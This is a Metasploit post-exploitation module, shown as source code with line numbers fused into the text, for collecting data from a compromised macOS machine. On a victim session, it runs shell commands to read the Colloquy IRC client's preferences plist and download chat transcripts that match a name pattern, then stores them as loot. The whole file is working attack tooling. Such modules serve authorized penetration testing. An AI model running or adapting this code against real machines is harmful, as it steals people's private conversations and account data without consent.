Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/osx/gather/enum_colloquy.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File78def initialize(info = {})9super(10update_info(11info,12'Name' => 'OS X Gather Colloquy Enumeration',13'Description' => %q{14This module will collect Colloquy's info plist file and chat logs from the15victim's machine. There are three actions you may choose: INFO, CHATS, and16ALL. Please note that the CHAT action may take a long time depending on the17victim machine, therefore we suggest to set the regex 'PATTERN' option in order18to search for certain log names (which consists of the contact's name, and a19timestamp). The default 'PATTERN' is configured as "^alien" as an example20to search for any chat logs associated with the name "alien".21},22'License' => MSF_LICENSE,23'Author' => [ 'sinn3r'],24'Platform' => [ 'osx' ],25'SessionTypes' => [ 'meterpreter', 'shell' ],26'Actions' => [27['ACCOUNTS', { 'Description' => 'Collect the preferences plists' } ],28['CHATS', { 'Description' => 'Collect chat logs with a pattern' } ],29['ALL', { 'Description' => 'Collect both the plists and chat logs' }]30],31'DefaultAction' => 'ALL'32)33)3435register_options(36[37OptRegexp.new('PATTERN', [true, 'Match a keyword in any chat log\'s filename', '^alien']),38]39)40end4142#43# Parse a plst file to XML format:44# http://hints.macworld.com/article.php?story=2005043010512639245#46def plutil(filename)47exec("plutil -convert xml1 #{filename}")48data = exec("cat #{filename}")49return data50end5152def get_chatlogs(base)53chats = []5455# Get all the logs56print_status("#{@peer} - Download logs...")57folders = dir("\"#{base}\"")58folders.each do |f|59# Get all the transcripts from this folder60trans = exec("find \"#{base}#{f}\" -name *.colloquyTranscript")61trans.split("\n").each do |t|62fname = ::File.basename(t)63# Check fname before downloading it64next if fname !~ datastore['PATTERN']6566print_status("#{@peer} - Downloading #{t}")67content = exec("cat \"#{t}\"")68chats << { log_name: fname, content: content }69end70end7172return chats73end7475def get_preferences(path)76raw_plist = exec("cat #{path}")77return nil if raw_plist =~ /No such file or directory/7879xml_plist = plutil(path)80return xml_plist81end8283def save(type, data)84case type85when :preferences86p = store_loot(87'colloquy.preferences',88'text/plain',89session,90data,91'info.colloquy.plist'92)93print_good("#{@peer} - info.colloquy.plist saved as: #{p}")9495when :chatlogs96data.each do |d|97log_name = d[:log_name]98content = d[:content]99100p = store_loot(101'colloquy.chatlogs',102'text/plain',103session,104content,105log_name106)107print_good("#{@peer} - #{log_name} stored in #{p}")108end109end110end111112def whoami113exec('/usr/bin/whoami')114end115116def dir(path)117subdirs = exec("ls -l #{path}")118return [] if subdirs =~ /No such file or directory/119120items = subdirs.scan(/[A-Z][a-z][a-z]\x20+\d+\x20[\d:]+\x20(.+)$/).flatten121return items122end123124def exec(cmd)125tries = 0126begin127out = cmd_exec(cmd).chomp128rescue ::Timeout::Error => e129tries += 1130if tries < 3131vprint_error("#{@peer} - #{e.message} - retrying...")132retry133end134rescue EOFError => e135tries += 1136if tries < 3137vprint_error("#{@peer} - #{e.message} - retrying...")138retry139end140end141end142143def run144if action.nil?145print_error('Please specify an action')146return147end148149@peer = "#{session.session_host}:#{session.session_port}"150user = whoami151152transcripts_path = "/Users/#{user}/Documents/Colloquy Transcripts/"153prefs_path = "/Users/#{user}/Library/Preferences/info.colloquy.plist"154155prefs = get_preferences(prefs_path) if action.name =~ /ALL|ACCOUNTS/i156chatlogs = get_chatlogs(transcripts_path) if action.name =~ /ALL|CHATS/i157158save(:preferences, prefs) if !prefs.nil? && !prefs.empty?159save(:chatlogs, chatlogs) if !chatlogs.nil? && !chatlogs.empty?160end161end162163=begin164/Users/[user]/Documents/Colloquy Transcripts165/Users/[user]/Library/Preferences/info.colloquy.plist166167Transcript example:168/Users/[username]/Documents/Colloquy Transcripts//[server]/[contact] 10-13-11.colloquyTranscript169=end170171172